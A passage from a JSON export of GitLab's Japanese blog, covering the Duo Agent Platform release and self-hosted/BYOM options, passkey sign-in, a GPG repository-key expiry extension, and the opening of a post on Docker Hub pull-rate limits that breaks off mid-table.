リリースポリシーに関連付けられたランタイムSLO \u003Cbr> • 脆弱性SLA \u003Cbr> • コスト可視性 \u003Cbr> • プラットフォームに組み込まれた運用エクセレンス |\n\n## DevSecOpsからインテリジェントオーケストレーションへ\n\n統合DevSecOpsプラットフォームは企業に基盤を提供しますが、AIエージェントがソフトウェアライフサイクルの積極的な参加者になるにつれて、プラットフォームはコードとパイプラインの管理以上のことを行う必要があります。人間とAIエージェントの作業を、完全なライフサイクルコンテキストとフローに組み込まれたガードレールとともにオーケストレーションする必要があります。これが、GitLab Duo Agent Platformが可能にするDevSecOpsからインテリジェントオーケストレーションへの移行であり、時間の経過とともにソフトウェアデリバリーの品質を向上させます。\n\n### GitLab Duo Agent Platform\n\nGitLab Duo Agent Platformは、開発者と協力者として連携するAIエージェントをソフトウェア開発ライフサイクルに導入します。複数のAIエージェントが、コード生成やテストからCI/CD修正まで、タスクを並行して処理し、ボトルネックを削減してリリースを高速化します。開発者は定義されたルールを使用してこれらのエージェントを操縦・誘導し、反復的な作業をオフロードしながら制御を維持します。このエージェントオーケストレーションは、複雑なワークフロー（壊れたパイプラインの自動修正など）に取り組み、チームがより価値の高い作業に集中できるようにします。\n\nAIエージェントはGitLabの統合データモデル内で動作し、マージリクエストを作成し、コードを改善し、コンプライアンスをサポートすることで、生産性と速度を向上させます。すべてのエージェントアクションには完全なプロジェクトコンテキストがあり、監査可能で、ポリシーに準拠しているため、企業は数千人のエンジニアにわたってAIを自信を持ってスケールし、すべての自動化されたワークフローでセキュリティと規制コンプライアンスを維持できます。これにより、アプリケーションエンジニア、DevSecOpsエンジニア、スクラムマスター、プロダクトマネージャーの負担が軽減されます。\n\n## リファレンスアーキテクチャの理解\n\n![GitLab TCSリファレンスアーキテクチャ](https://res.cloudinary.com/about-gitlab-com/image/upload/v1771866349/ynfgc7ugqjasyj1uhew0.png)\n\n## GitLab + TCS：強力な組み合わせ\n\n GitLabは、ソフトウェアチームとAIエージェントが開発ライフサイクル全体で連携するDevSecOpsのインテリジェントオーケストレーションプラットフォームを提供します。TCS社は、産業化された導入エンジン、実証済みのリファレンスアーキテクチャ、大規模移行ファクトリー、エンタープライズグレードのセキュリティベースライン、エンタープライズAI機能、AI Trust & Riskマネジメントツールとフレームワーク、プラットフォーム運用のプロダクトマインドセットを提供します。\n\nこの組み合わせを真に差別化するのは、業界、地域、規制環境を超えて数十年にわたってお客様と協力してきたTCS社の文脈的知識です。この経験により、TCS社はレガシー資産、コンプライアンス要件、運用モデル、スケールの課題などの企業制約に対処するためにGitLab機能を文脈化することができます。これは、ツールを単独で実装するのではなく、企業の制約を考慮したアプローチです。GitLabとTCS社は共に、組み込まれたコンプライアンスを備えたクラウド全体での迅速で確実なエンタープライズスケールデリバリーを可能にします。\n\n> GitLab + TCSの詳細については、ecosystem@gitlab.comまでお問い合わせください。",[777,746],"2026-02-26",{"featured":642,"template":784,"slug":824},"agentic-sdlc-gitlab-and-tcs-deliver-intelligent-orchestration-across-the-enterprise",{"content":826,"config":835},{"title":827,"description":828,"authors":829,"heroImage":831,"date":832,"body":833,"category":655,"tags":834},"エージェント型AIを自社の制御下で：セルフホスト対応Duo Agent Platformと自社モデル持ち込み（BYOM）","GitLab 18.9がセルフホスト対応Duo Agent Platformと自社モデル持ち込み（Bring Your Own Model）サポートにより、規制対応エンタープライズにガバナンスを備えたエージェント型AIを提供する方法をご紹介します。",[830],"Rebecca Carter","https://res.cloudinary.com/about-gitlab-com/image/upload/v1771438388/t6sts5qw4z8561gtlxiq.png","2026-02-19","規制産業に属する組織がAIによる自動化を進める上では、避けられない制約があります。データレジデンシー、ベンダー管理、ガバナンスはいずれも譲れない要件であり、多くの組織はすでに自社モデルに多大な投資を重ね、その運用方法と運用場所を厳格な承認プロセスで管理しています。\n\n[GitLab 18.9](https://about.gitlab.com/ja-jp/blog/gitlab-18-09-release/)では、こうしたエンタープライズのお客様が直面する重要な戦略的ギャップを埋める2つの機能を提供します。[GitLab Duo Agent Platform](https://about.gitlab.com/ja-jp/gitlab-duo-agent-platform/)を、最も厳格な規制環境でも本番運用できる、ガバナンス対応のAIコントロールプレーンへと進化させる機能です。\n\n## オンライン クラウドライセンス向けGitLab Duo Agent Platformセルフホスト版\nGitLab Duo Agent Platformを活用すると、エンジニアリングチームはAI駆動のフローを構築し、サービスのリファクタリングやCI/CDパイプラインの強化、脆弱性のトリアージといった一連のタスクを自動化できます。しかしこれまで、セルフホストモデルを使った本番環境での利用は、主にオフラインまたはアドオンライセンスを前提とした構成に限られており、厳格な規制下で事業を行うオンライン クラウド ライセンスのお客様には対応していませんでした。\n\nこのたび一般提供を開始した[オンライン クラウドライセンス向けセルフホスト版](https://docs.gitlab.com/ja-jp/subscriptions/subscription-add-ons/#gitlab-duo-agent-platform-self-hosted)は、[GitLabクレジット](https://docs.gitlab.com/ja-jp/subscriptions/gitlab_credits/)を基盤とした従量課金モデルを採用。エンタープライズが内部チャージバックや信頼性確保に求める、透明性の高い予測可能なメタリングを実現します。\n* **データレジデンシーと制御**：オンライン クラウドライセンスのまま、自社インフラまたは承認済みクラウド環境上のモデルを使って本番稼働が可能です。モデルの実行場所や推論トラフィックのルーティングを、承認済み環境の範囲内で管理できます。\n* **コストの透明性とチャージバック**：GitLabクレジットとリクエスト単位のメタリングにより、詳細なコスト把握が可能になります。正確な内部チャージバックや規制対応のレポーティングに不可欠な仕組みです。\n* **導入加速**：金融サービス、政府機関、重要インフラなど、外部AIベンダーへのデータ送信が認められないセクターにおける、エージェント型AI導入の大きな障壁を取り除きます。\nGitLab 18.9から、Duo Agent Platformがオンライン クラウドライセンスの正式対応機能となります。\n\n## Bring Your Own Model（BYOM）/自分のモデルを持ち込む\nオーケストレーションレイヤーのセルフホスト化は、あくまでも出発点です。規制対応を求められるお客様の多くは、すでに自社モデルに相当な投資をしています。ドメイン特化型のLLM、データ主権のためのリージョン内またはエアギャップ環境へのデプロイ、自社のリスク方針に基づいて開発されたクローズドソースの社内モデルなど、その形は様々です。\n\n**Bring Your Own Model**（BYOM）は、GitLab Duo Agent Platformの柔軟性をさらに拡げる機能です。管理者は[GitLab AIゲートウェイ](https://docs.gitlab.com/ja-jp/administration/gitlab_duo/gateway/)を通じて、自社で開発、調達、承認したモデルをそのままGitLab Duo Agent Platformに接続して活用できます。外部ベンダーのモデルに依存することなく、モデルの選択と管理権限は完全にお客様の手に委ねられます。\n* **統合とガバナンス**：BYOMモデル（お客様が持ち込んだモデル）は、GitLabのAIコントロールプレーン上でGitLab管理モデルと同等のエンタープライズ対応オプションとして扱われます。自社承認済みのモデルを、GitLab環境にシームレスに組み込むことができます。\n* **詳細なマッピング**：AIゲートウェイへの登録後、各モデルを特定のDuo Agent Platformフローや機能に紐づけることができます。どのエージェントやフローがどのモデルを使うか、きめ細かな制御が可能です。\nなお、モデルの検証、パフォーマンス評価、リスク管理の責任は管理者が担います。互換性、性能、リスク評価は、導入するモデルを選んだ側の責任となります。\n\nこれら2つの機能を組み合わせることで、エンタープライズのエンジニアリングリーダーはエージェント型AIを包括的に制御できるようになります。乱立するポイントソリューションや、管理不在のいわば野放しのAIツールを置き換え、エージェント型AIを一元管理する単一のガバナンス対応コントロールプレーンが手に入ります。自社で開発、調達、承認したモデルをそのまま持ち込みながら、強固なガバナンスも確保できる、すでに信頼しているDevSecOpsプラットフォームの中でそれを実現できる、これが規制対応組織の求めていた答えです。\n\n> GitLab Duo Agent Platformにご興味のある方は、[お問い合わせいただくか、今すぐ無料トライアルにお申し込みください](https://about.gitlab.com/ja-jp/gitlab-duo-agent-platform/)。\n\n-----------\n\n_本ブログには、1933年証券法第27A条（改正版）および1934年証券取引所法第21E条に定める「将来の見通しに関する記述」が含まれています。これらの記述に反映されている期待は合理的と考えていますが、実際の結果や成果が大きく異なる可能性のある既知/未知のリスク、不確実性、前提条件、その他の要因が存在します。これらのリスクおよびその他の要因の詳細は、SECへの提出書類における「リスク要因」の項目をご参照ください。法律で義務付けられている場合を除き、本ブログ投稿の公開日以降にこれらの記述を更新または修正する義務を負いません。_",[777,746,779],{"featured":13,"template":784,"slug":836},"agentic-ai-enterprise-control-self-hosted-duo-agent-platform-and-byom",{"content":838,"config":847},{"title":839,"description":840,"authors":841,"heroImage":843,"date":844,"body":845,"category":655,"tags":846},"GitLab Duo Agent Platformの正式版リリースを発表","ソフトウェアライフサイクル全体におけるエージェント型AIが、コーディングの高速化をイノベーションサイクルの加速へと変える仕組みをご紹介します。",[842],"Bill Staples","https://res.cloudinary.com/about-gitlab-com/image/upload/v1768314192/llizjeumcduj2enqpdi4.png","2026-01-15","GitLab Duo Agent Platformの正式版リリースを発表できることを大変うれしく思います。これはGitLab、お客様、そして業界全体にとって重要な節目です。ソフトウェア開発ライフサイクル全体にエージェント型AIを導入するというビジョンを実現する最初の一歩となります。\n\nAIツールは、デベロッパーがコードを書く能力を急速に向上させており、場合によっては生産性が10倍向上したという報告もあります。しかし残念ながら、デベロッパーの時間のうちコードを書くことに費やされるのは約20%に過ぎないため、AIによって得られるイノベーション速度と提供の全体的な向上は段階的なものにとどまります。これはソフトウェア提供における[AIパラドックス](https://about.gitlab.com/press/releases/2025-11-10-gitlab-survey-reveals-the-ai-paradox/)としてよく知られています。\n\nさらに、多くのチームでは、コード作成の速度が上がったことで、コードレビュー、セキュリティ脆弱性、コンプライアンスチェック、下流のバグ修正など、新たなボトルネックが生じています。\n\nGitLab Duo Agent Platformは、ソフトウェアライフサイクル全体でインテリジェントなオーケストレーションとエージェント型AI自動化を実現することで、AIパラドックスに対処します。\n\n詳しくは以下の動画をご覧いただき、さらに詳細は下記をお読みください。\n\n\u003Ciframe src=\"https://player.vimeo.com/video/1154785472?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"18.8 Release Video V2\">\u003C/iframe>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n> :bulb: 2月10日のGitLab Transcendにご参加いただき、エージェント型AIがソフトウェア提供をどのように変革するかをご覧ください。お客様の事例を聞き、独自のモダナイゼーションの取り組みを開始する方法をご確認ください。[今すぐ登録](https://about.gitlab.com/events/transcend/virtual/)\n\nまた、GitLab PremiumおよびUltimateサブスクリプションをご利用中のお客様に、追加費用なしでユーザーあたりそれぞれ12ドルおよび24ドルのGitLabクレジットを付与いたします。\\*これらのクレジットは毎月更新され、GitLab Duo Agent Platformのすべての機能をご利用いただけます。\n\nGitLabクレジットの仕組みを簡単に説明します。GitLabクレジットは、GitLabの使用量ベースの製品に使用される仮想通貨です。GitLab Duo Agent Platformの使用量は、上記の含まれるクレジットから消費されます。その後、組織全体で共有クレジットプールへのコミットメントを決定するか、オンデマンドで月単位でお支払いいただくことができます。詳細については、[GitLabクレジットの紹介記事](https://about.gitlab.com/blog/introducing-gitlab-credits/)をご覧ください。\n\nGitLab Duo ProまたはDuo Enterpriseサブスクリプションをご利用のお客様は、引き続きこれらの製品をご利用いただくか、いつでもDuo Agent Platformに移行していただけます。Duo Enterpriseの契約残高は、いつでもGitLabクレジットに変換できます。詳細については、GitLab担当者にお問い合わせください。\n\n本日からお試しいただける機能とユースケースをご紹介します。\n\n### 人間とエージェントが協働するための統合エクスペリエンス\n\n[GitLab Duo Agent Platform](https://docs.gitlab.com/ja-jp/user/duo_agent_platform/?utm_source=chatgpt.com)は、人間とAIエージェントがGitLab内でシームレスに統合できるように設計された、統一されたユーザーエクスペリエンスを提供します。デベロッパーとそのチームは、ほぼすべてのページでDuo Agentic Chatを利用し、コンテキストに応じた質問をしたり、非同期エージェントセッションをフォローしたり、イシュー、マージリクエスト、パイプラインアクティビティなどの使い慣れたワークフロー内でエージェントとやり取りしたりできます。これにより、AIのアクションが透明になり、日常業務を通じて簡単にガイドできるようになります。\n\n### Agentic Chat:インテリジェントでコンテキスト認識型のアシスタンス\n\n[Gitlab Duo Agentic Chat](https://docs.gitlab.com/ja-jp/user/gitlab_duo_chat/agentic_chat/)は、GitLab Web UIおよびIDEで真のマルチステップ推論を実現し、イシュー、マージリクエスト、パイプライン、セキュリティ調査結果などからのライフサイクル全体のコンテキストを活用します。以前リリースされたDuo Chatをベースに、Agentic Chatはユーザーに代わって自律的にアクションを実行し、複雑な質問により包括的に答えることができます。ソフトウェアチームの各メンバーに、オンボーディング、コード品質、提供速度の向上に役立つ、正確でコンテキスト認識型のガイダンスを提供します。\n\nGitLab Duo Agentic Chatは、デベロッパーとAIの協働を可能にする数多くの[ユースケース](https://about.gitlab.com/gitlab-duo/prompt-library/)をサポートしています。開始方法の詳細については、[「GitLab Duo Agent Platform完全ガイド」](https://about.gitlab.com/blog/gitlab-duo-agent-platform-complete-getting-started-guide/)をご覧いただき、こちらの[拡張中の推奨プロンプト集](https://about.gitlab.com/gitlab-duo/prompt-library/)もご確認ください。\n\n* **分析**\n  Web UIでは、Agentic Chatはイシュー、エピック、マージリクエストを作成し、要約を提供し、重要な発見を強調し、特定のプロジェクト、イシュー、エピック、マージリクエストなどからのリアルタイムコンテキストに基づいた実用的なガイダンスを提供できます。Agentic Chatは、デベロッパーがIDEまたはGitLabリポジトリ内で、馴染みのないコード、依存関係、アーキテクチャ、プロジェクト構造を理解するのに役立ちます。\n\n\n* **コード**\n  Agentic Chatは、幅広い言語とフレームワークにわたって、コード、設定、Infrastructure as Codeを生成できます。バグの修正、アーキテクチャとコードのモダナイゼーション、テストの生成、より迅速なオンボーディングのためのドキュメント作成を支援します。デベロッパーの手元で、Agentic ChatはVS Code、JetBrains IDE、Cursor、Windsurfにおける協働パートナーであり、オプションのユーザーレベルおよびワークスペースレベルのルールで応答をカスタマイズできます。\n\n* **CI/CD**\n  Agentic Chatは、既存のパイプラインをより深く理解し、設定し、トラブルシューティングしたり、新しいパイプラインをゼロから作成したりするのに役立ちます。\n\n* **セキュリティ**\n  Agentic Chatは、脆弱性を説明し、到達可能性に基づいて問題に優先順位を付け、時間を節約できる修正を推奨します。\n\n## エージェント:オンデマンドで協働する専門家\n\nGitLab Duo Agent Platformにより、デベロッパーは専門のエージェントにタスクを委任できます。このプラットフォームは、基本エージェント、カスタムエージェント、外部エージェントの独自の組み合わせを提供し、すべてGitLabユーザーエクスペリエンスにシームレスに統合されているため、あらゆるタスクに適したエージェントを簡単に選択できます。\n\n**[基本エージェント](https://docs.gitlab.com/ja-jp/user/duo_agent_platform/agents/foundational_agents/)**は、GitLabの専門家によって事前に構築されており、ソフトウェア提供サイクルで最も複雑なタスクを処理する準備が整っています。以下の基本エージェントは、GitLab Duo Agent Platformの正式版の一部として含まれており、その他のエージェントは現在ベータ版で、近日中に提供予定です。\n\n* [**プランナーエージェント**](https://docs.gitlab.com/ja-jp/user/duo_agent_platform/agents/foundational_agents/planner/)は、チームがGitLab内で直接作業を構造化、優先順位付け、分割するのを支援し、計画をより明確に、より迅速に、より実行しやすくします。\n\n* [**セキュリティ分析エージェント**](https://docs.gitlab.com/ja-jp/user/duo_agent_platform/agents/foundational_agents/security_analyst_agent/)は、脆弱性とセキュリティシグナルをレビューし、その影響を平易な言葉で説明し、チームが最初に対処すべきことを理解するのを支援します。\n\n[**カスタムエージェント**](https://docs.gitlab.com/ja-jp/user/duo_agent_platform/ai_catalog/)は、AIカタログを使用して構築できます。AIカタログは、チームがカスタムエージェントとフローを作成、公開、管理、共有するための中央リポジトリです。チームは、エンジニアリングチームの働き方を再現し、エンジニアが使用するエンジニアリング基準とガバナンスの仕組みを使用して問題に取り組むために、特定のコンテキストと機能を持つエージェントとフローを作成できます。\n\n[**外部エージェント**](https://docs.gitlab.com/ja-jp/user/duo_agent_platform/agents/external/)は、GitLabにシームレスに統合されており、AnthropicのClaude CodeやOpenAIのCodex CLIなど、最高クラスのAIツールが含まれています。ユーザーは、コード生成、コードレビュー、分析などのユースケースで、透明性の高いセキュリティと組み込みLLMサブスクリプションにより、これらのツールをGitLabからネイティブにアクセスできます。\n\nこれらのアプローチにより、チームは専門エージェント、組織固有の自動化、外部AIツールの統合など、エージェント型AIをどのように採用するかについて柔軟性を得ることができます。すべて単一のガバナンスされたプラットフォーム内で実現します。\n\n## フロー:複数ステップの作業を反復可能でガイド付きの進捗へ\n\nフローは、複数のエージェントワークフローを使用して複雑なタスクを最初から最後まで自動化します。\n\nエンジニアリングチームは、正式版に含まれるいくつかのフローを構築しており、さらに多くのフローが提供予定です。\n\n* [**デベロッパー(Issue to MR)**](https://docs.gitlab.com/ja-jp/user/duo_agent_platform/flows/foundational_flows/issue_to_mr/)フローは、明確に定義されたイシューから構造化されたマージリクエストを作成し、チームがすぐに作業を開始できるようにします。\n\n* [**GitLab CI/CD変換**](https://docs.gitlab.com/ja-jp/user/duo_agent_platform/flows/foundational_flows/convert_to_gitlab_ci/)フローは、チームが手動で書き直すことなくパイプライン設定を移行またはモダナイズするのに役立ちます。\n\n* [**CI/CDパイプライン修復**](https://docs.gitlab.com/ja-jp/user/duo_agent_platform/flows/foundational_flows/fix_pipeline/)フローは、障害を分析し、考えられる原因を特定し、推奨される変更を準備します。\n\n* [**コードレビュー**](https://docs.gitlab.com/ja-jp/user/duo_agent_platform/flows/foundational_flows/code_review/)フローは、コード変更、マージリクエストコメントなどを分析し、AIネイティブの分析とフィードバックでコードレビューを効率化します。\n\n* [**ソフトウェア開発**](https://docs.gitlab.com/ja-jp/user/duo_agent_platform/flows/foundational_flows/software_development/)フローは、日常的な開発とレビュー段階を通じて作業をガイドします。\n\n## MCP Client:GitLab Duo Agent Platformをチームが既に使用しているツールに接続\n\n[MCPクライアント](https://docs.gitlab.com/ja-jp/user/gitlab_duo/model_context_protocol/mcp_clients/)により、IDE内のGitLab Duo Agent PlatformがJira、Slack、Confluence、その他のMCP対応ツールなどの外部システムに安全に接続し、コンテキストを取り込み、DevSecOpsツールチェーン全体でアクションを実行できるようになります。\n\n個々のツール内でAIアシスタンスがサイロ化されるのではなく、MCPクライアントはGitLab Duo Agent Platformが、計画、協働、実行が実際に行われるシステム全体を理解し、動作することを可能にします。これにより、手動でのコンテキスト切り替えが削減され、チームが実際に作業する方法を反映した、より完全なエンドツーエンドのAI駆動ワークフローが実現します。\n\n正式版に含まれる機能:\n\n* Jira、Confluence、Slack、Playwright、GrafanaなどのMCP対応外部システムへの接続\n* ワークスペースレベルおよびユーザーレベルでの設定\n* MCPの使用を有効化または制限するためのグループレベルの制御\n* ツールアクセスのユーザー承認フロー\n* IDE拡張機能でのAgentic Chat全体でのサポート\n\n現在ベータ版のGitLab MCPサーバー機能にさらに多くの機能を追加し、今後のリリースで正式版にする予定です。\n\n## チームとワークロードに適したモデルを選択\n\nGitLab Duo Agent Platformは、チームがプライバシー、セキュリティ、コンプライアンスのニーズに合わせてプラットフォームを調整できる柔軟なモデル選択フレームワークに基づいて構築されています。GitLabは各機能に最適なLLMをデフォルトで設定していますが、管理者はOpenAI GPT-5バリアント、Mistral、Meta Llama、Anthropic Claudeなどのサポートされているモデルから選択することもできます。これにより、チームは組織の基準に基づいて、各特定のユースケースでチャット、コーディングタスク、エージェントインタラクションに何を使用するかについて、より正確な制御と柔軟性を得ることができます。サポートされているモデルの完全なリストとモデル選択設定の詳細については、ドキュメントの[モデル選択](https://docs.gitlab.com/ja-jp/administration/gitlab_duo/model_selection/)セクションをご覧ください。\n\n### ガバナンス、可視性、デプロイの柔軟性\n\nGitLab Duo Agent Platformは、組織がAIを責任を持って採用するために必要な制御と透明性を提供すると同時に、さまざまな環境で機能する柔軟なデプロイオプションを提供します。\n\n正式版に含まれる機能:\n\n* **すべてのプラットフォームで利用可能:**GitLab.com、GitLab Self-Managed、GitLab DedicatedでGitLab 18.8リリースサイクルの一部として利用できます。\n\n* **ガバナンスと可視性:**チームは、エージェントがどのように使用され、どのようなアクションを実行し、作業にどのように貢献しているかを確認できます。使用状況とアクティビティの詳細により、リーダーは採用状況を把握し、影響を測定し、AIが適切に使用されていることを確認できます。これらの制御により、自信を持って大規模にAIを展開しやすくなります。\n\n* **グループベースのアクセス制御:**管理者は、どのユーザーがGitLab Duo Agent Platform機能にアクセスできるかを管理する名前空間レベルのルールを定義でき、組織全体での即時有効化から段階的なロールアウトまで、柔軟な採用をサポートします。LDAPおよびSAML統合により、手動設定なしで大規模なガバナンスを実現できます。\n\n* **モデル選択とセルフホスト型オプション:**LLM選択は、GitLab.com、Self-Managed、Dedicatedのすべての正式版機能で利用できます。トップレベルの名前空間所有者がモデルを選択し、サブグループはそれらの設定を自動的に継承します。より多くの制御が必要な組織のために、プラットフォームはGitLab Self-Managedデプロイメント向けのセルフホスト型モデルをサポートしています。\n\nGitLab Duo Agent Platformの実際の動作をご覧ください:\n\n\u003Ciframe src=\"https://player.vimeo.com/video/1154786333?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"18.8 Demo\">\u003C/iframe>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n## GitLabの最新情報を入手\n\n最新の機能、セキュリティアップデート、パフォーマンス向上を確実に入手するために、GitLabインスタンスを最新の状態に保つことをお勧めします。以下のリソースは、アップグレードの計画と完了に役立ちます。\n\n* [アップグレードパスツール](https://gitlab-com.gitlab.io/support/toolbox/upgrade-path/) – 現在のバージョンを入力すると、インスタンスの正確なアップグレード手順が表示されます\n* [アップグレードに関するドキュメント](https://docs.gitlab.com/ja-jp/update/upgrade_paths/) – サポートされている各バージョンの詳細なガイド(要件、ステップバイステップの手順、ベストプラクティスを含む)\n\n定期的にアップグレードすることで、チームが最新のGitLab機能を活用し、安全でサポートされた状態を維持できます。\n\nハンズオフアプローチをお望みの組織には、[GitLabのManaged Maintenanceサービス](https://content.gitlab.com/viewer/d1fe944dddb06394e6187f0028f010ad#1)をご検討ください。Managed Maintenanceは、チームがイノベーションに集中し続ける一方で、GitLabの専門家がSelf-Managedインスタンスの確実なアップグレード、セキュリティ確保、DevSecOpsリーダーシップの準備を維持するのを支援します。詳細については、アカウントマネージャーにお問い合わせください。\n\n---\n\n\\* GitLab PremiumおよびUltimateサブスクリプションをご利用中のお客様には、ユーザーあたりそれぞれ12ドルおよび24ドルの含まれるクレジットが自動的に提供され、毎月リセットされます。これらのクレジットは期間限定で提供され、変更される可能性があります([プロモーション規約を参照](https://about.gitlab.com/pricing/terms/))。\n\n*このブログ投稿には、改正1933年証券法第27A条および1934年証券取引法第21E条の意味における「将来予想に関する記述」が含まれています。これらの記述に反映された期待は合理的であると考えていますが、実際の結果または成果が大きく異なる可能性のある既知および未知のリスク、不確実性、仮定、その他の要因の影響を受けます。これらのリスクおよびその他の要因の詳細については、SECへの提出書類の「リスク要因」の項をご参照ください。このブログ投稿の日付以降、法律で義務付けられている場合を除き、これらの記述を更新または改訂する義務は負いません。*",[777,746,779],{"featured":13,"template":784,"slug":848},"gitlab-duo-agent-platform-is-generally-available",{"category":670,"slug":668,"posts":850},[851,863,874],{"content":852,"config":861},{"title":853,"description":854,"authors":855,"heroImage":857,"date":858,"body":859,"category":668,"tags":860},"GitLabでパスキーによるパスワードレスサインインと2FAが利用可能に","アカウントにパスキーを登録する方法と、フィッシング耐性のある2要素認証の仕組みについて解説します。",[856],"GitLab","https://res.cloudinary.com/about-gitlab-com/image/upload/v1772029801/qk75nu1eezxa6aiefpup.png","2026-02-25","GitLabでパスキーが利用可能になり、より安全で便利なアカウントアクセス方法を提供します。パスキーは、パスワードレスサインインまたはフィッシング耐性のある2要素認証（2FA）方法として使用できます。パスキーを使用すると、デバイスの指紋認証、顔認識、またはPINを使って認証を行うことができます。2FAが有効になっているアカウントでは、パスキーが自動的にデフォルトの2FA方法として利用可能になります。\n\n\u003Cfigure class=\"video_container\"> \u003Ciframe src=\"https://www.youtube.com/embed/LN5MGRdTHR8?si=OOebJZzN3LkSmzNv\" title=\"Passwordless authentication using passkeys\" frameborder=\"0\" allowfullscreen=\"true\">\u003C/iframe> \u003C/figure>\n\n\u003Cbr>\u003C/br>\n\nアカウントにパスキーを登録するには、プロフィール設定にアクセスし、**アカウント > 認証管理**を選択してください。\n\nパスキーはWebAuthn技術と、秘密鍵と公開鍵で構成される公開鍵暗号化を使用しています。秘密鍵はデバイス上に安全に保存され、決して外部に送信されることはありません。一方、公開鍵はGitLabに保存されます。仮にGitLabが侵害されたとしても、攻撃者は保存された認証情報を使用してアカウントにアクセスすることはできません。パスキーは、デスクトップブラウザ（Chrome、Firefox、Safari、Edge）、モバイルデバイス（iOS 16以降、Android 9以降）、FIDO2ハードウェアセキュリティキーで動作し、複数のデバイスにパスキーを登録して便利にアクセスできます。\n\n![Passkeys sign-in with two-factor authentication](https://res.cloudinary.com/about-gitlab-com/image/upload/v1767807931/n652nkgvna1rsymlfzpi.png)\n\nGitLabは[CISA Secure by Design Pledge](https://about.gitlab.com/blog/last-year-we-signed-the-secure-by-design-pledge-heres-our-progress/)に署名し、セキュリティ対策状況の改善とお客様がより迅速に安全なソフトウェアを開発できるよう支援することをコミットしています。この誓約の主要な目標の一つは、製造業者の製品全体で[多要素認証（MFA）](https://about.gitlab.com/blog/last-year-we-signed-the-secure-by-design-pledge-heres-our-progress/#multi-factor-authentication-mfa)の使用を拡大することです。パスキーはこの目標の重要な要素であり、GitLabへのサインインをより安全で便利にするシームレスでフィッシング耐性のあるMFA方法を提供します。\n\nご質問がある場合、体験を共有したい場合、または潜在的な改善についてチームと直接やり取りしたい場合は、[フィードバックイシュー](https://gitlab.com/gitlab-org/gitlab/-/work_items/366758)をご覧ください。\n",[758,746],{"featured":642,"template":784,"slug":862},"passkeys-now-available-for-passwordless-sign-in-and-2fa-on-gitlab",{"content":864,"config":872},{"title":865,"description":866,"heroImage":867,"authors":868,"date":819,"body":870,"category":668,"tags":871},"GitLabパッケージリポジトリのメタデータ署名に使用されるGPGキーの有効期限が延長されました","packages.gitlab.comのGitLab Packagecloudインスタンスでリポジトリメタデータの署名に使用されるGPGキーの有効期限が延長されました。以下に重要な情報をまとめました。","https://res.cloudinary.com/about-gitlab-com/image/upload/v1771934335/c4f7zzdelhwcihaqwxym.png",[869],"Denis Afonso","GitLabでは、公式のomnibus-gitlabおよびgitlab-runnerパッケージの配布に使用される各種aptおよびyumリポジトリのメタデータに署名するためにGPGキーを使用しています。これにより、パッケージ自体が別のキーで署名されることに加えて、パッケージの整合性を確保しています。\n\n現在メタデータの署名に使用されているキーのフィンガープリントは`F640 3F65 44A3 8863 DAA0 B6E0 3F01 618A 5131 2F3F`で、2026年2月27日に期限切れとなる予定でしたが、2028年2月6日まで延長されました。\n\n## なぜ有効期限を延長するのですか\n\nリポジトリメタデータ署名キーの有効期限は、GitLabのセキュリティポリシーに準拠し、キーが侵害された場合の影響を制限するために定期的に延長されています。新しいキーへのローテーションではなく有効期限の延長を行うのは、ユーザーへの影響を最小限に抑えるためです。ローテーションを行った場合、すべてのユーザーが信頼済みキーを置き換える必要があります。\n\n## 何をすればいいですか\n\n2026年2月17日より前にお使いのマシンでGitLabリポジトリを既に設定している場合は、[新しいキーの取得と追加方法](https://docs.gitlab.com/omnibus/update/package_signatures/#package-repository-metadata-signing-keys)に関する公式ドキュメントをご確認ください。\n\n新規ユーザーの方は、[GitLabインストールページ](https://about.gitlab.com/install/)または[gitlab-runnerインストールドキュメント](https://docs.gitlab.com/runner/install/linux-repository.html)に従っていただく以外に、特別な対応は必要ありません。\n\n[リポジトリメタデータ署名の検証](https://docs.gitlab.com/omnibus/update/package_signatures/#package-repository-metadata-signing-keys)に関する詳細情報は、Omnibusドキュメントでご確認いただけます。公開キーのコピーを更新する必要がある場合は、support@gitlab.comで検索するか、キーID `F640 3F65 44A3 8863 DAA0 B6E0 3F01 618A 5131 2F3F`を使用して、任意のGPGキーサーバーで見つけることができます。\n\nまたは、次のURLを使用してpackages.gitlab.comから直接ダウンロードすることも可能です：`https://packages.gitlab.com/gpg.key`\n\n## さらにサポートが必要な方は\n\n[omnibus-gitlabイシュートラッカー](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/new?issue&issuable_template=Bug)でイシューを作成してください。",[746],{"featured":642,"template":784,"slug":873},"gpg-key-used-to-sign-gitlab-package-repositories-metadata-has-been-extended",{"content":875,"config":885},{"title":876,"description":877,"authors":878,"heroImage":880,"date":881,"body":882,"category":668,"tags":883,"updatedDate":884},"今すぐ対策を：Docker Hubのレート制限がGitLab CI/CDに与える影響","Docker Hubの新しいプルレート制限がGitLabのパイプラインにどのような影響を与えるか、また、その影響によってCI/CDパイプラインが中断されるのを防ぐ対策を解説します。",[879],"Tim Rizzi","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662488/Blog/Hero%20Images/blog-image-template-1800x945__3_.png","2025-03-24","2025年4月1日より、DockerはDocker\nHubに新たな[プルレート制限](https://docs.docker.com/docker-hub/usage/)を導入します。これは、GitLabで稼働しているものを含め、業界全体のCI/CDパイプラインに大きな影響を及ぼす可能性があります。最も大きな変更点は、未認証ユーザーに対して1時間あたり10回までというプル制限が設けられることです。\n\n## 変更点\n\n4月1日から、Dockerは以下のプルレート制限を適用します。\n\n| ユーザータイプ | 1時間あたりのプルレート制限 | パブリックリポジトリ数 | プライベートリポジトリ数 |\n|-----------|--------------------------|-------------------------------|--------------------------------|\n| Business、Team、Pro（認証済） | 無制限（フェアユース） | 無制限 | 無制限 |\n| Personal（認証済） | 100 | 無制限 | 最大1つ |\n| 未認証ユーザー | IPv4アドレスまたはIPv6/64サブネットごとに1時間あたり10回 | 該当なし | 該当なし 